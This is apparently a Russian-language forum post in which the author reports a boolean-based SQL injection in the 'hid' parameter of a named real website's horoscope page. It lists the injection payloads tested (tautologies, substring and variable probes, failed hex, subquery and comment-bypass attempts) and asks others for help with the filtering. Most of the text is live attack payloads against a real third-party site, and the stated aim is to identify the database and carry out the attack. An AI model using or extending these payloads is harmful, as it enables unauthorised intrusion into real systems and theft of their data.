Определить бд, провести атаку

[Boolean]

Имеем SQL инъекцию на апорте:

newyear[dot]aport[dot]ru/2010/?mode=horoscope&hid=2'+and+'1'='1

hex не работает

hid=2'+and+1=1+and+0x33='3

внутренние запросы не работают

hid=2'+and+1=1+and+(select 3)='3

chr/ascii/md5/version/user/database/version_compile_os не работают.

Работает substring, есть поддержка переменных

hid=2'+and+substring(123,1,1)='1'+and+3='3
hid=2'+and+substring(@lol,1,1)=''+and+'3'='3

Однако установить переменной какое-либо значение не удалось.

Любые способы комментирования не работают. (проверялись #(%2B), --, /*)
Образовать пробелы с помощью /**/ не удалось.

Кто-нибудь сталкивался с подобным?